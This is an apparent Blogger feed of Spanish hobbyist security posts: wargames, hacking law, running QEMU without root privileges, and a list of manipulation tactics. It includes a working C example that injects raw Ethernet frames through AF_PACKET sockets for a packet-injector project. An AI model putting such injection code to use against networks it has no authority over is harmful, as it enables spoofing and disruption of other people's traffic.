<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-7407946</id><updated>2011-09-18T11:08:09.116Z</updated><category term='ensamblador'/><category term='ruby'/><category term='módulos'/><category term='problemas'/><category term='solution'/><category term='configuración'/><category term='Ken Thompson'/><category term='ayuda'/><category term='hilos'/><category term='bug'/><category term='manipulación'/><category term='seguridad'/><category term='passwords'/><category term='ley'/><category term='desarrollo'/><category term='hacking'/><category term='DEFCON'/><category term='Apple'/><category term='contraseñas'/><category term='bios'/><category term='Web'/><category term='gnome'/><category term='bicicleta'/><category term='firefox'/><category term='biciambiental'/><category term='Mac'/><category term='bateria'/><category term='Mac OS X'/><category term='windows'/><category term='codigo fuente'/><category term='wargame'/><category term='titlebar'/><category term='eclipse'/><category term='conferencias'/><category term='sniffing'/><category term='redes'/><category term='exploiting'/><category term='ñ'/><category term='manual'/><category term='candado'/><category term='reversing'/><category term='crash'/><category term='virtualbox'/><category term='sistemas'/><category term='gran canaria'/><category term='gnu utilities'/><category term='emacs'/><category term='threads'/><category term='java'/><category term='programas tipicos'/><category term='backdoor'/><category term='usb'/><category term='Inglés'/><category term='libertad'/><category term='bici'/><category term='editores'/><category term='programacion'/><category term='ssh'/><category term='acer aspire one'/><category term='disco duro lleno'/><category term='pthreads'/><category term='AugmentedReality ARtoolKit'/><category term='hackers'/><category term='assembly in line'/><category term='inyeccion'/><category term='c'/><category term='cadena'/><category term='inode'/><category term='comunidades'/><category term='vbox'/><category term='software'/><category term='dissapear'/><category term='Linux'/><category term='unix'/><category term='derechos'/><category term='problema'/><category term='virus'/><category term='eventos'/><category term='rootedcon'/><category term='qemu'/><category term='crackers'/><category term='PHT'/><category term='ubuntu'/><category term='svn'/><category term='subversion'/><title type='text'>Cacharreadores</title><subtitle type='html'>Relatos de las vivencias informáticas de unos individuos cualesquiera...</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://cacharreadores.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7407946/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://cacharreadores.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>arreche</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>54</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-7407946.post-1441965134368256096</id><published>2011-07-17T09:45:00.003Z</published><updated>2011-07-17T10:48:55.044Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='wargame'/><category scheme='http://www.blogger.com/atom/ns#' term='PHT'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>Nace el PHT</title><content type='html'>Y no sé por cuánto tiempo ni a dónde llegaremos, pero el PHT (Piruletous Hacking Team) nació la semana pasada con el objetivo de ser 4 amigos a los que nos gusta la seguridad y presentarnos al segundo wargame de security by default.&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Ibamos a participar, pasar un buen rato, aprender lo que se pudiera, etc... Y ACABAMOS SEXTOS!!! :O:O:O.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;En fin, a ver si hacemos de esto del PHT algo más serio y nos empezamos a presentar a todos los wargame que podamos y seguir aprendiendo.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Por cierto, si tienen la posibilidad de unirse 3 o 4 personas y participar en uno se los recomiendo, altamente adictivo&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7407946-1441965134368256096?l=cacharreadores.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cacharreadores.blogspot.com/feeds/1441965134368256096/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7407946&amp;postID=1441965134368256096' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7407946/posts/default/1441965134368256096'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7407946/posts/default/1441965134368256096'/><link rel='alternate' type='text/html' href='http://cacharreadores.blogspot.com/2011/07/nace-el-pht.html' title='Nace el PHT'/><author><name>Ole</name><uri>http://www.blogger.com/profile/12307936235928916888</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7407946.post-1524372066267426305</id><published>2011-03-31T12:23:00.003Z</published><updated>2011-03-31T12:28:26.719Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='comunidades'/><category scheme='http://www.blogger.com/atom/ns#' term='exploiting'/><category scheme='http://www.blogger.com/atom/ns#' term='reversing'/><title type='text'>Nueva comunidad de exploiting y reversing</title><content type='html'>Muy buenas hackers, hoy toca entrada rapida.&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;A traves del &lt;a href="http://www.elladodelmal.com/2011/03/overflowed-minds-aprendiendo-hacer.html"&gt;blog de Chema&lt;/a&gt; me entero de que se ha creado una nueva comunidad dedicada al exploiting y reversing. Aun es muy joven pero le he estado echando un ojo y parece bastante seria. &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Para mi es un punto a favor meterse en algo justo en sus inicios para asi poder tener mas oportunidad de participar y no empezar cuando una comunidad ya lleva años y es facil perderse, a mi me ha pasado con unas cuantas.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Otro punto a favor para mi es que por ahora los pocos papers que hay (aprovecha porque tienen muy buen aspecto) se enfocan a sistemas GNU/Linux :)&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;En fin, sin mas que añadir, recomentarte que te pases por la comunidad de &lt;a href="http://www.overflowedminds.net/"&gt;overflowed minds&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Saludos.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7407946-1524372066267426305?l=cacharreadores.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cacharreadores.blogspot.com/feeds/1524372066267426305/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7407946&amp;postID=1524372066267426305' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7407946/posts/default/1524372066267426305'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7407946/posts/default/1524372066267426305'/><link rel='alternate' type='text/html' href='http://cacharreadores.blogspot.com/2011/03/nueva-comunidad-de-exploiting-y.html' title='Nueva comunidad de exploiting y reversing'/><author><name>Ole</name><uri>http://www.blogger.com/profile/12307936235928916888</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7407946.post-838341568132132192</id><published>2011-02-16T09:42:00.004Z</published><updated>2011-02-16T10:15:56.109Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='ley'/><category scheme='http://www.blogger.com/atom/ns#' term='seguridad'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>Los peligros de jugar en un patio ajeno sin permiso</title><content type='html'>Bueno, hace tiempo que no escribía nada y ya tenía ganas de hacerlo, en estos últimos meses me he ido de mi isla a Madrid, estoy en un &lt;a href="http://www.uem.es/postgrado/master-oficial-en-seguridad-de-las-tecnologias-de-la-informacion-y-las-comunicaciones"&gt;máster de seguridad, el de la UEM&lt;/a&gt; por si a alguien le interesa, y he empezado a trabajar en &lt;a href="http://informatica64.com/"&gt;informatica64&lt;/a&gt;, así que ando muy muy atareado. He aprendido bastantes cosas, intentaré plasmar la mayoría en el blog, pero creo que me llevará tiempo.&lt;br /&gt;&lt;br /&gt;Hoy quería hacer una entrada rápida para comentaros que desde el 23 de Diciembre de 2010 entraron en vigor nuevas leyes con respecto al mundo del hacking web, etc... Evidentemente no hay que tomar mis palabras al pié de la letra porque yo no soy abogado ni juez, y ya sabemos que en ese mundo una coma cambia la ley, pero estas nuevas modificaciones ponen a los que les gusta jugar en patios ajenos (para los que no me entiendan estoy haciendo un símil con hackear por curiosidad y para aprender en páginas webs que no son tuyas) en una situación muy delicada, parece ser que por utilizar los sistemas de un tercero de forma no consentida nos podría acarrear hasta 2 años de cárcel. Así que ojito en dónde juegas, que te puede salir el tiro por la culata.&lt;br /&gt;&lt;br /&gt;Lo que me deja en duda es qué pasa con quien no hace nada pero señala, por ejemplo yo puedo llegar y decir "telepizza tiene más agujeros que un queso gruyere". Es el famoso caso del tío que no hace nada más que acercarse a una casa y decir "tiene esa ventana abierta, se podría entrar por ahí y robar."... que complicado es todo, a partir de ahora para aprender vas a necesitar coger máquinas virtuales y montarte el lab en tu casa, pero a mi nunca me llega a convencer todo esto, yo necesito ver las cosas "in the wild"...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7407946-838341568132132192?l=cacharreadores.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cacharreadores.blogspot.com/feeds/838341568132132192/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7407946&amp;postID=838341568132132192' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7407946/posts/default/838341568132132192'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7407946/posts/default/838341568132132192'/><link rel='alternate' type='text/html' href='http://cacharreadores.blogspot.com/2011/02/los-peligros-de-jugar-en-un-patio-ajeno.html' title='Los peligros de jugar en un patio ajeno sin permiso'/><author><name>Ole</name><uri>http://www.blogger.com/profile/12307936235928916888</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7407946.post-8454148940387499655</id><published>2010-09-05T13:03:00.000Z</published><updated>2010-09-05T13:03:35.924Z</updated><title type='text'>Máquinas virtuales en servidores sin permisos</title><content type='html'>&lt;span class="Apple-style-span" style="font-family: Arial; font-size: small;"&gt;&lt;div style="font-size: 13px;"&gt;Primero hay que descargar y compilar el emulador de CPUs &lt;a href="http://qemu.org/"&gt;Qemu&lt;/a&gt; en un servidor. Si hubiera algún problema de dependencias podemos consultar la entrada de&amp;nbsp;&lt;a href="http://cacharreadores.blogspot.com/2007/08/instalar-software-limpiamente-mediante.html"&gt;instalar software limpiamente mediante GNU/Toast&lt;/a&gt;&lt;/div&gt;&lt;div style="font-size: 13px;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-size: 13px;"&gt;wget&amp;nbsp;http://download.savannah.gnu.org/releases/qemu/qemu-0.12.5.tar.gz&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-size: 13px;"&gt;tar xzf qemu-0.12.5.tar.gz&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-size: 13px;"&gt;cd qemu-0.12.5&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-size: 13px;"&gt;./configure &amp;amp;&amp;amp; make&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-size: 13px;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-size: 13px;"&gt;A continuación obtenemos la ISO de instalación de algún sistema operativo. Creamos una imagen de disco y arrancamos el proceso de instalación.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-size: 13px;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-size: 13px;"&gt;wget http://archive.ubuntu.com/ubuntu/dists/lucid/main/installer-i386/current/images/netboot/mini.iso&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: Arial; font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-size: 13px;"&gt;qemu-img create -f qcow ubuntu.qcow 4G&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: Arial; font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-size: 13px;"&gt;nohup qemu --cdrom mini.iso -hda ubuntu.qcow -m 256 -boot d -vnc :1 &amp;amp;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: Arial; font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-size: 13px;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: Arial; font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-size: 13px;"&gt;Para realizar la instalación desde el cliente conectaremos con el servidor usando algún cliente de VNC&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: Arial; font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-size: 13px;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: Arial; font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-size: 13px;"&gt;vinagre nombredelservidor:1&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: Arial; font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-size: 13px;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: Arial; font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-size: 13px;"&gt;Al finalizar podemos arrancar el sistema instalado y volver a conectarnos con VNC&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: Arial; font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-size: 13px;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: Arial; font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-size: 13px;"&gt;nohup qemu --cdrom mini.iso -hda ubuntu.qcow -m 256 -boot c -vnc :1 &amp;amp;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7407946-8454148940387499655?l=cacharreadores.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cacharreadores.blogspot.com/feeds/8454148940387499655/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7407946&amp;postID=8454148940387499655' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7407946/posts/default/8454148940387499655'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7407946/posts/default/8454148940387499655'/><link rel='alternate' type='text/html' href='http://cacharreadores.blogspot.com/2010/09/maquinas-virtuales-en-servidores-sin.html' title='Máquinas virtuales en servidores sin permisos'/><author><name>arreche</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7407946.post-3313942071537363379</id><published>2010-05-12T14:10:00.002Z</published><updated>2010-05-12T15:30:40.920Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='redes'/><category scheme='http://www.blogger.com/atom/ns#' term='sniffing'/><category scheme='http://www.blogger.com/atom/ns#' term='inyeccion'/><title type='text'>Acceso directo al driver de red</title><content type='html'>Estoy con mi proyecto de fin de carrera en el que pretendo desarrollar un inyector de paquetes (sí otro más), así que investigo bastante en este tema. Esta entrada es para aquella gente que sabe de lo que hablo porque voy a sobreentender que se saben ya bastantes cosas de redes y de programación con sockets.&lt;br /&gt;&lt;br /&gt;He estado investigando cómo conseguir llegar a inyectar lo que yo quiera en el cable de red, y con esto me refiero a que por el cable vaya una ristra de bytes tal cual yo la he definido, sin más cabeceras ni información añadida por ningún driver, ni SO y lo he logrado.&lt;br /&gt;&lt;br /&gt;Como muchos saben en sistemas POSIX existe o podría existir la llamada al sistema socket(domain, type, protocol), que permite iniciar un socket para la comunicación por red. Siempre la he mirado con mucho recelo porque aunque me permite una gran flexibilidad, lo máximo que yo sabía de a dónde podía llegar es a actuar por encima del nivel de red, concretamente por encima de IP mediante SOCK_RAW.&lt;br /&gt;&lt;br /&gt;Hoy he descubierto, después de mirar mucho código, de leer mucho man y buscar en internet, que se puede llegar mas lejos (como suponía) y he logrado acceder totalmente a la red.&lt;br /&gt;&lt;br /&gt;En el man socket se especifica el domain AF_PACKET para acceder al bajo nivel, también se comenta consultar packet(7). Ese es el dominio que hace falta para acceder a bajo nivel, en el siguiente man nos comentan que existe un type SOCK_RAW que nos permite acceder al driver ¡sin que este añada cabeceras de ningún tipo!. Pero no todo está hecho, hay que aprender a usar todo esto. El siguiente codigo es un ejemplo:&lt;br /&gt;&lt;br /&gt;#include &lt;unistd.h&gt;&lt;br /&gt;#include &lt;stdlib.h&gt;&lt;br /&gt;#include &lt;stdio.h&gt;&lt;br /&gt;#include &lt;string.h&gt;&lt;br /&gt;#include &lt;errno.h&gt;&lt;br /&gt;&lt;br /&gt;#include &lt;sys/socket.h&gt;&lt;br /&gt;#include &lt;sys/ioctl.h&gt;&lt;br /&gt;#include &lt;sys/types.h&gt;&lt;br /&gt;&lt;br /&gt;#include &lt;netpacket/packet.h&gt;&lt;br /&gt;#include &lt;net/ethernet.h&gt;&lt;br /&gt;#include &lt;net/if.h&gt;&lt;br /&gt;&lt;br /&gt;int main(int argc, char *argv[]) {&lt;br /&gt;    char *buf = "Hola\0";&lt;br /&gt;    int fd, c;&lt;br /&gt;    struct ifreq ifr;&lt;br /&gt;    struct sockaddr_ll sa;&lt;br /&gt;&lt;br /&gt;    fd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));&lt;br /&gt;    if (fd &lt; 0) {&lt;br /&gt;        fprintf(stderr, "socket fail\n");&lt;br /&gt;        exit(-1);&lt;br /&gt;    }  &lt;br /&gt;&lt;br /&gt;    memset(&amp;amp;ifr, 0, sizeof(ifr));&lt;br /&gt;    strncpy(ifr.ifr_name, "eth0", strlen("eth0"));&lt;br /&gt;    if (ioctl(fd, SIOCGIFINDEX, &amp;amp;ifr) &lt; 0) {&lt;br /&gt;        fprintf(stderr, "ioctl fail\n");&lt;br /&gt;        exit(-1);&lt;br /&gt;    }  &lt;br /&gt;&lt;br /&gt;    sa.sll_family = AF_PACKET;&lt;br /&gt;    sa.sll_ifindex = ifr.ifr_ifindex;&lt;br /&gt;    sa.sll_protocol = htons(ETH_P_ALL);&lt;br /&gt;    c = sendto(fd, buf, strlen(buf), 0, (struct sockaddr *)&amp;amp;sa, sizeof(sa));&lt;br /&gt;    if (c &lt; 0) {&lt;br /&gt;        fprintf (stderr, "write fail\n");&lt;br /&gt;        exit(-1);&lt;br /&gt;    }  &lt;br /&gt;&lt;br /&gt;    exit(0);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;Primero hay que abrir el socket con las características especificadas, luego nos tenemos que enterar mediante el uso de ioctl cual es el index de la interfaz que queremos usar (eth0 en este caso). Ese número es el identificador de interfaces que ha reconocido el SO, piensen que al abrir el socket no se le especifica en ningún lado en que tarjeta debería escribir y leer, de hecho es independiente del socket. Eso se especifica en cada lectura y cada escritura como vemos en la llamada a sendto. Se ha preparado una estructura struct sockaddr_ll (ya conocen los struct sockaddr, este es el _ll link layer ;), en el campo sll_ifindex que averiguamos previamente con ioctl.&lt;br /&gt;&lt;br /&gt;Evidentemente sobra decir que para que ese código funcione hay que ejecutarlo con permisos de root o, como documenta el manual, con CAP_NET_RAW.&lt;br /&gt;&lt;br /&gt;Pues eso, así es como se inyecta directamente y sin pasar por bibliotecas como libnet, sino yendo directamente a los servicios del SO.&lt;br /&gt;&lt;br /&gt;Happy hacking!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7407946-3313942071537363379?l=cacharreadores.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cacharreadores.blogspot.com/feeds/3313942071537363379/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7407946&amp;postID=3313942071537363379' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7407946/posts/default/3313942071537363379'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7407946/posts/default/3313942071537363379'/><link rel='alternate' type='text/html' href='http://cacharreadores.blogspot.com/2010/05/acceso-directo-al-driver-de-red.html' title='Acceso directo al driver de red'/><author><name>Ole</name><uri>http://www.blogger.com/profile/12307936235928916888</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7407946.post-7660561897304284857</id><published>2010-03-26T21:04:00.004Z</published><updated>2010-06-11T14:37:38.616Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='manipulación'/><title type='text'>Acerca de la manipulación</title><content type='html'>Un día me encontré con un &lt;a href="http://raulexposito.com/blog/etiqueta/manipulacion/"&gt;blog &lt;/a&gt;dónde se mencionaban algunas de las técnicas de manipulación que son utilizadas deliberadamente en el mundo laboral.&amp;nbsp;Dichas técnicas no son infalibles pero al aplicarlas adecuadamente incrementan la probabilidad de que una persona realice un determinado comportamiento.&lt;br /&gt;&lt;br /&gt;Dejo algunas anotaciones que podrían ser de ayuda para evitar verse involucrado en situaciones indeseables.&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;Principios en los que se basa la manipulación&lt;/b&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Reciprocidad: Tendencia a devolver los favores recibidos.&lt;/li&gt;&lt;li&gt;Coherencia: Necesidad de mantener nuestras opiniones y actos en consonancia.&lt;/li&gt;&lt;li&gt;Prueba social: Imitar a los demás ante una situación desconocida.&lt;/li&gt;&lt;li&gt;Autoridad: Obedecer a personas que suponemos mas sabias o expertas.&lt;/li&gt;&lt;li&gt;Simpatía: Confiar en personas que nos caen bien.&lt;/li&gt;&lt;li&gt;Escasez o Rareza: Desear poseer algo que es escaso.&lt;/li&gt;&lt;/ul&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;Algunas técnicas de manipulación&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Parten de la tendencia que tiene la gente a mantener sus decisiones y la sensación de que estas son tomadas libremente.&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Pie en la puerta: Nos piden algo que nos cuesta poco realizar antes de pedir lo que realmente quieren.&lt;/li&gt;&lt;li&gt;Puerta en las narices: Nos piden algo desorbitadamente costoso para inmediatamente después de negarnos pedirnos algo más razonable.&lt;/li&gt;&lt;li&gt;Contacto físico: Tocar en hombro el brazo de alguien al pedirle algo.&lt;/li&gt;&lt;li&gt;Temor seguido de alivio: Te ponen en una situación de miedo o estrés que resulta ser falsa. Al sentirte aliviado estarás predispuesto a ser generoso.&lt;/li&gt;&lt;li&gt;Mirar a los ojos: Mirar a los ojos de alguien antes de pedirle algo.&lt;/li&gt;&lt;li&gt;Pie en la boca: Muestran una preocupación por ti antes de pedirte algo.&lt;/li&gt;&lt;li&gt;Pie en la memoria: Te piden recordar una situación en la que no has hecho algo esperado para que no lo vuelvas a realizar en el futuro.&lt;/li&gt;&lt;li&gt;Eso no es todo: Te hacen ver que algo es bueno y que además viene con extras.&lt;/li&gt;&lt;li&gt;El etiquetado: Etiqueta especifica y relacionada con el acto esperado.&lt;/li&gt;&lt;li&gt;Es usted libre de: Te piden algo recalcando que eres libre de hacerlo o no.Vale más un poco que nada: Te recalcan que por poco que le ayudes será muy importante.&lt;/li&gt;&lt;/ul&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;Cómo detectar a un manipulador&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://fr.wikipedia.org/wiki/Isabelle_Nazare-Aga"&gt;Isabelle Nazare-Aga&lt;/a&gt; señala que una persona manipuladora reunirá al menos diez de los siguientes puntos:&lt;br /&gt;&lt;ol&gt;&lt;li&gt;Culpabiliza a los demás en nombre del vínculo familiar, de la amistad, del amor, de la conciencia profesional, etc.&lt;/li&gt;&lt;li&gt;Traslada su responsabilidad a los demás o se desentiende de sus propias responsabilidades.&lt;/li&gt;&lt;li&gt;No comunica claramente sus demandas, necesidades, sentimientos y opiniones.&lt;/li&gt;&lt;li&gt;Responde muy a menudo de forma confusa.&lt;/li&gt;&lt;li&gt;Cambia de opinión, de comportamiento y de sentimientos según las personas o las situaciones.&lt;/li&gt;&lt;li&gt;Invoca razones lógicas para enmascarar sus demandas.&lt;/li&gt;&lt;li&gt;Hace creer a los demás que tienen que ser perfectos, que no deben cambiar nunca de opinión, que deben saberlo todo y responder inmediatamente a las demandas y preguntas.&lt;/li&gt;&lt;li&gt;Pone en duda las cualidades, la competencia y la personalidad de los demás; critica sin parecer que lo hace, desvaloriza y juzga.&lt;/li&gt;&lt;li&gt;Hace transmitir sus mensajes a otros o los comunica de forma indirecta (por teléfono en lugar de cara a cara, dejando notas escritas).&lt;/li&gt;&lt;li&gt;Siembra cizaña y suscita sospechas , divide para reinar mejor y puede provocar la ruptura de una pareja.&lt;/li&gt;&lt;li&gt;Sabe hacerse la víctima para que se le compadezca (enfermedad exagerada, entorno “difícil”, sobrecarga de trabajo, etc.).&lt;/li&gt;&lt;li&gt;Hace caso omiso de las demandas (aún cuando dice ocuparse de ellas).&lt;/li&gt;&lt;li&gt;Utiliza los principios morales de los demás para satisfacer sus necesidades (nociones de humanidad, caridad, racismo, “buena” o “mala” madre, etc.).&lt;/li&gt;&lt;li&gt;Amenaza de forma encubierta o hace un chantaje abierto.&lt;/li&gt;&lt;li&gt;Cambia radicalmente de tema en el transcurso de una conversación.&lt;/li&gt;&lt;li&gt;Elude o rehúye las entrevistas y las reuniones.&lt;/li&gt;&lt;li&gt;Cuenta con la ignorancia de los demás y hace creer en su superioridad.&lt;/li&gt;&lt;li&gt;Miente.&lt;/li&gt;&lt;li&gt;Falsea los hechos para averiguar la verdad, deforma e interpreta.&lt;/li&gt;&lt;li&gt;Es egocéntrico.&lt;/li&gt;&lt;li&gt;Puede ser celoso aunque se trate de un pariente o un cónyuge.&lt;/li&gt;&lt;li&gt;No soporta la crítica y niega la evidencia.&lt;/li&gt;&lt;li&gt;No tiene en cuenta los derechos, las necesidades y los deseos de los demás.&lt;/li&gt;&lt;li&gt;Espera frecuentemente hasta el último momento para pedir, ordenar o hacer actuar a los demás.&lt;/li&gt;&lt;li&gt;Su discurso parece lógico o coherente, cuando sus actitudes, sus actos o su forma de vivir responden al esquema opuesto.&lt;/li&gt;&lt;li&gt;Utiliza halagos para gustarnos, nos hace regalos o tiene muchas atenciones con nosotros.&lt;/li&gt;&lt;li&gt;Produce un estado de malestar o una sensación de falta de libertad (trampa).&lt;/li&gt;&lt;li&gt;Es absolutamente eficaz para lograr sus propios fines, pero a costa de los demás.&lt;/li&gt;&lt;li&gt;Nos induce a hacer cosas que probablemente no haríamos por voluntad propia.&lt;/li&gt;&lt;li&gt;Es constantemente objeto de conversación entre personas que lo conocen, aunque no se encuentre presente.&lt;/li&gt;&lt;/ol&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br 